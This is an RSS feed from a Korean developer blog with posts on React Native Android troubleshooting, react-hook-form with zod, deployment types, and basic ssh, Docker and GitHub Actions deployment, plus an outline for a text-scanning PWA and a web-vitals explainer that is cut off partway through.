<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>몽땅뚝딱 개발자</title>
    <link>https://be-a-weapon.tistory.com/</link>
    <description>성장은 스프린트가 아닌 마라톤이다.</description>
    <language>ko</language>
    <pubDate>Fri, 10 Apr 2026 06:40:10 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>레오나르도 다빈츠</managingEditor>
    <image>
      <title>몽땅뚝딱 개발자</title>
      <url>https://tistory1.daumcdn.net/tistory/4679790/attach/530c43c3895945788565268aee2b7ec1</url>
      <link>https://be-a-weapon.tistory.com</link>
    </image>
    <item>
      <title>안드로이드 대응 ㄱ-</title>
      <link>https://be-a-weapon.tistory.com/entry/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EB%8C%80%EC%9D%91-%E3%84%B1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 만들어놨더니 안드로이드에서 제약사항이 너무너무 많아서 뒤집어 엎고있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iOS는 아무런 문제가 없었는데&lt;span style=&quot;color: #9d9d9d;&quot;&gt; (아주 안일했음) &lt;/span&gt;소켓도 제한해.. form-data 형식도 제한해.. 모달 관련해서 rn에서 제공하는걸로 개발해놨더니 안드로이드 자체에서 UI를 계산하는 로직이랑 부딪혀서 죄다 깨지고 그래서 다시 만들었더니 또 안드로이드에서는 이슈가 있고,,, 키보드 처리도 다르게 해야하고 안드로이드 전용 prop은 왜 이렇게 많은지,,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 개발은 해보지않았던 어려운 UI와 기능이 많았고 UX까지 신경쓰느라 이 모든 이슈들이 버거웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 한번 만들어봐서 좀 괜찮을 줄 알았더니 다시 다른 산이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 정신승리로 다행인 점들을 읋어보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 에뮬레이터에서도 충분히 재현가능한 이슈들이 많아서 실 기기 이슈가 덜했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 경험이 늘어난다는 것에 감사하다. 머리가 좀 아플 때가 있긴하지만 그래도 여러가지 새로운 이슈들을 많이 경험해봤고 앞으로도 쭉 써먹을 수 있겠지?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 그냥 지금 일을 하고 있다는거 자체가 다행이지 모야  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 이슈 5천만개 남았지만,,,, 화이팅!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 지나가리라 ,,, (ㄱ-)&lt;/p&gt;</description>
      <category>몽땅뚝딱이/코딩과 일상</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/740</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EB%8C%80%EC%9D%91-%E3%84%B1#entry740comment</comments>
      <pubDate>Wed, 28 Jan 2026 21:41:21 +0900</pubDate>
    </item>
    <item>
      <title>react-hook-form + zod</title>
      <link>https://be-a-weapon.tistory.com/entry/react-hook-form-zod</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에는 input값을 전반적으로 관리하는 useState들이 필요했는데 따로 선언하지 않아도되어 편하다 &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;yup도 있는데 typescript 호환은 zod가 더 잘된다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통 util, validation 정책을 가져가기에도 좋은 선택이 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1751182772016&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client'

import { useForm } from 'react-hook-form'
import { z } from 'zod'
import { zodResolver } from '@hookform/resolvers/zod'

const schema = z.object({
    content: z.string()
        .min(30, &quot;최소 30자 이상 입력해주세요.&quot;)
        .refine((val) =&amp;gt; /입력값/.test(val) &amp;amp;&amp;amp; /출력값/.test(val), {
            message: &quot;입력값과 출력값이 포함되어야 합니다.&quot;
        })
})
type FormData = z.infer&amp;lt;typeof schema&amp;gt;

export default function SpecForm() {
    const { register, handleSubmit, formState: { errors, isValid } } = useForm&amp;lt;FormData&amp;gt;({
        resolver: zodResolver(schema),
        mode: 'onChange'
    })

    const onSubmit = (data: FormData) =&amp;gt; {
        console.log(data)
    }

    return (
        &amp;lt;form onSubmit={handleSubmit(onSubmit)} className=&quot;max-w-xl mx-auto&quot;&amp;gt;
            &amp;lt;h2 className=&quot;font-bold text-lg&quot;&amp;gt;  기획서를 입력해주세요!&amp;lt;/h2&amp;gt;

            &amp;lt;textarea
                {...register('content')}
                placeholder=&quot;예: 사용자는 글을 입력(입력값)하면, 실시간 리스트(출력값)가 표시됩니다.&quot;
                className=&quot;w-full h-40 p-4 border rounded resize-none mt-2&quot;
            /&amp;gt;

            {errors.content &amp;amp;&amp;amp; (
                &amp;lt;p className=&quot;text-red-500 text-sm mt-1&quot;&amp;gt;{errors.content.message}&amp;lt;/p&amp;gt;
            )}

            &amp;lt;button
                type=&quot;submit&quot;
                disabled={!isValid}
                className={`mt-4 px-4 py-2 rounded ${isValid ? 'bg-blue-500 text-white' : 'bg-gray-300'}`}
            &amp;gt;
                분석 요청하기
            &amp;lt;/button&amp;gt;
        &amp;lt;/form&amp;gt;
    )
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/React.js &amp;middot; Next.js</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/737</guid>
      <comments>https://be-a-weapon.tistory.com/entry/react-hook-form-zod#entry737comment</comments>
      <pubDate>Sun, 29 Jun 2025 16:41:48 +0900</pubDate>
    </item>
    <item>
      <title>단어들: 배포의 종류</title>
      <link>https://be-a-weapon.tistory.com/entry/%EB%B0%B0%ED%8F%AC%EC%9D%98-%EC%A2%85%EB%A5%98</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 정적 배포&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML, CSS, JS만 있는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React, Vue -&amp;gt; S3, Vercel 등에서 호스팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 동적 배포&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 요청을 받고 처리한 결과를 응답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Node.js, Django, Flask&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 서버리스&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백엔드 코드를 Lambda 등에서 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS Lambda + API Gateway&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 컨테이너 기반 배포&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker로 만든 앱을 ECS, Fargate에 배포&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로 서비스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. CI/CD 자동 배포&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Actions 등으로 자동 푸시 &amp;amp; 배포&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub &amp;rarr; EC2 배포&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/733</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%EB%B0%B0%ED%8F%AC%EC%9D%98-%EC%A2%85%EB%A5%98#entry733comment</comments>
      <pubDate>Mon, 16 Jun 2025 15:00:15 +0900</pubDate>
    </item>
    <item>
      <title>단어들: ssh, nginx, Docker, GitHub Actions</title>
      <link>https://be-a-weapon.tistory.com/entry/%EC%84%9C%EB%B2%84-%EA%B4%80%EB%A0%A8-ssh-nginx-Docker-GitHub-Actions</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. ssh란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ssh란 Secure Shell의 줄임말이다. 아래 명령어는 원격서버에 &lt;b&gt;보안 연결&lt;/b&gt;로 접속하는 명령어이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.pem은 Private Key 파일 확장자로 EC2 인스턴스를 만들 때 생성되는 비밀번호 대신 사용하는 인증키이다.&lt;/p&gt;
&lt;pre id=&quot;code_1750051752818&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh -i my-key.pem ubuntu@your-ip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 도서추천: 처음 배우는 AWS, 모두의 리눅스&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. nginx&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가볍고 빠른 &lt;b&gt;웹 서버 소프트웨어&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 파일(=프론트 빌드 파일)을 클라이언트에게 전달(=서빙)하거나 백엔드 API 서버로 프록시 연결도 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nginx는 EC2 혹은 Docker 컨테이너 내부에서 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. Docker란?&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 실행 환경을 통째로 포장한 박스이다. 환경설정 + 배포 + 실행을 표준화하는 기술이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Node, Python, MySQL, Redis 등을 설치할 필요 없이 하나의 이미지&lt;/b&gt;로 어디서든 동일한 환경으로 실행가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile을 작성하고 docker build 명령어로 이미지를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 이미지란 컨테이너를 만들기 위한 설계도 + 재료들이 담긴 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Dockerfile -&amp;gt; 이미지 -&amp;gt; 그 이미지를 컨테이너로 실행)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1. Dockerfile 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1750053078161&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Node.js 앱을 위한 Dockerfile
FROM node:18
WORKDIR /app
COPY . .
RUN npm install
CMD [&quot;npm&quot;, &quot;start&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2. 이미지 만들기&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1750053650767&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker build -t my-app .&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3. 이미지로부터 컨테이너 만들고 실행하기&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1750053707850&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// -p 3000:3000: 내 컴퓨터의 3000번 포트를 컨테이너의 3000번 포트에 연결하겠다는 뜻
// my-app: 실행할 Docker 이미지 이름
docker run -p 3000:3000 my-app&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3-1. Docker의 실행환경&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 PC에서 run (무료)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS EC2에서 run&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS ECS / Fargate 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Hub 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. GitHub Actions&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CI(빌드 &amp;amp; 테스트): 코드 푸시 시 자동 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CD(배포): EC2에 SSH 접속하여 최신 코드 배포&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;.github/workflows/deploy.yml&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EC2에 SSH로 접속해서 배포하는 예시&lt;/p&gt;
&lt;pre id=&quot;code_1750053960685&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;name: Deploy to EC2

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v3

    - name: Copy files to EC2 via SSH
      uses: appleboy/scp-action@v0.1.1 // scp-action: 코드를 EC2로 복사
      with:
        host: ${{ secrets.EC2_HOST }}
        username: ubuntu
        key: ${{ secrets.EC2_SSH_KEY }}
        source: &quot;.&quot;
        target: &quot;/home/ubuntu/app&quot;

    - name: Run remote deploy commands
      uses: appleboy/ssh-action@v1.0.0 // ssh-action: EC2 접속 후 배포 명령어 실행
      with:
        host: ${{ secrets.EC2_HOST }}
        username: ubuntu
        key: ${{ secrets.EC2_SSH_KEY }}
        script: |
          cd /home/ubuntu/app
          docker-compose down
          docker-compose up -d --build&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/732</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%EC%84%9C%EB%B2%84-%EA%B4%80%EB%A0%A8-ssh-nginx-Docker-GitHub-Actions#entry732comment</comments>
      <pubDate>Mon, 16 Jun 2025 14:55:22 +0900</pubDate>
    </item>
    <item>
      <title>[토이프로젝트] Textly (1) - 개요</title>
      <link>https://be-a-weapon.tistory.com/entry/%ED%86%A0%EC%9D%B4%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Textly-1-%EA%B0%9C%EC%9A%94</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TcPhE/btsN2JIQI6e/uViRHCqIqj7uWlWIWOniS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TcPhE/btsN2JIQI6e/uViRHCqIqj7uWlWIWOniS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TcPhE/btsN2JIQI6e/uViRHCqIqj7uWlWIWOniS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTcPhE%2FbtsN2JIQI6e%2FuViRHCqIqj7uWlWIWOniS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;562&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PWA를 사용해보자!!  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js, Web Share API, Install Prompt, Tesseract.js, Notification을 사용하기로 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기능&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 명함 스캐너&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명함을 사진으로 찍어 이름, 번호, 이메일 추출 후 연락처에 저장, 내보내기, 공유하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 책 인용구 스캐너&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책, 인쇄물 이미지를 구절을 스캔하고 SNS 공유, 메모앱 연동, 카드이미지로 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 배경 미리 세팅해서 구성하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 수기로 쓴 TODO 목록 자동화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수기로 쓴 메모를 스캔하고 알림 설정, 템플릿 저장 or 재사용할 수 있도록 기능 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>STUDY/2025</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/730</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%ED%86%A0%EC%9D%B4%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-Textly-1-%EA%B0%9C%EC%9A%94#entry730comment</comments>
      <pubDate>Sun, 18 May 2025 21:35:23 +0900</pubDate>
    </item>
    <item>
      <title>LCP, CLS, INP란?</title>
      <link>https://be-a-weapon.tistory.com/entry/LCP-CLS%EB%9E%80</link>
      <description>&lt;h4 data-end=&quot;172&quot; data-start=&quot;136&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpFwSV/btsNUPc22S5/HJf9Gk736CFPaSFPTjwrRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpFwSV/btsNUPc22S5/HJf9Gk736CFPaSFPTjwrRk/img.png&quot; data-alt=&quot;성능탭에서 확인할 수 있는 수치이다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpFwSV/btsNUPc22S5/HJf9Gk736CFPaSFPTjwrRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpFwSV%2FbtsNUPc22S5%2FHJf9Gk736CFPaSFPTjwrRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;390&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;성능탭에서 확인할 수 있는 수치이다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;172&quot; data-start=&quot;136&quot; data-ke-size=&quot;size20&quot;&gt;1. LCP (Largest Contentful Paint)&lt;/h4&gt;
&lt;p data-end=&quot;172&quot; data-start=&quot;136&quot; data-ke-size=&quot;size16&quot;&gt;&quot;얼마나 빨리 콘텐츠를 보여줄 수 있냐&quot;&lt;/p&gt;
&lt;p data-end=&quot;202&quot; data-start=&quot;174&quot; data-ke-size=&quot;size16&quot;&gt;가장 큰 콘텐츠가 나타나기까지 걸린 시간으로&amp;nbsp;사용자가 페이지에 들어갔을 때 메인 컨텐츠라고 느낄만한 가장 큰 이미지나 텍스트 블록이 렌더링 완료되기까지의 시간이다. 좋은 기준은&amp;nbsp;2.5초 이내이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;493&quot; data-start=&quot;420&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;435&quot; data-start=&quot;420&quot;&gt;이미지 lazy load&lt;/li&gt;
&lt;li data-end=&quot;448&quot; data-start=&quot;436&quot;&gt;폰트 preload&lt;/li&gt;
&lt;li data-end=&quot;480&quot; data-start=&quot;449&quot;&gt;서버 응답 시간 개선 (백엔드 속도 or SSR 등)&lt;/li&gt;
&lt;li data-end=&quot;493&quot; data-start=&quot;481&quot;&gt;CSS/JS 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-end=&quot;535&quot; data-start=&quot;500&quot; data-ke-size=&quot;size20&quot;&gt;2. CLS (Cumulative Layout Shift)&lt;/h4&gt;
&lt;p data-end=&quot;535&quot; data-start=&quot;500&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; &lt;/b&gt;&quot;보여주는 동안 화면이 안정적이냐&quot;&lt;/p&gt;
&lt;p data-end=&quot;563&quot; data-start=&quot;537&quot; data-ke-size=&quot;size16&quot;&gt;레이아웃이 갑자기 휙휙 움직이는 정도로 페이지 로딩 도중에 요소들이 예상치 못하게 움직이는 정도를 수치로 표현한다. 예를 들어, 버튼을 클릭하려는 순간, 배너가 늦게 로딩돼서 버튼이 아래로 밀리는 경우이다. 좋은 기준은 0.1 미만이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;840&quot; data-start=&quot;763&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;763&quot;&gt;이미지, 비디오, 광고 등의 사이즈를 명시&lt;/li&gt;
&lt;li data-end=&quot;810&quot; data-start=&quot;793&quot;&gt;폰트 FOUT/FOIT 방지&lt;/li&gt;
&lt;li data-end=&quot;840&quot; data-start=&quot;811&quot;&gt;애니메이션은 transform/opacity 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. INP (Interaction to Next Paint)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;사용자가 뭔가를 눌렀을 때 화면이 그에 반응하는 데 걸리는 시간이 어느정도냐&quot;&lt;/p&gt;
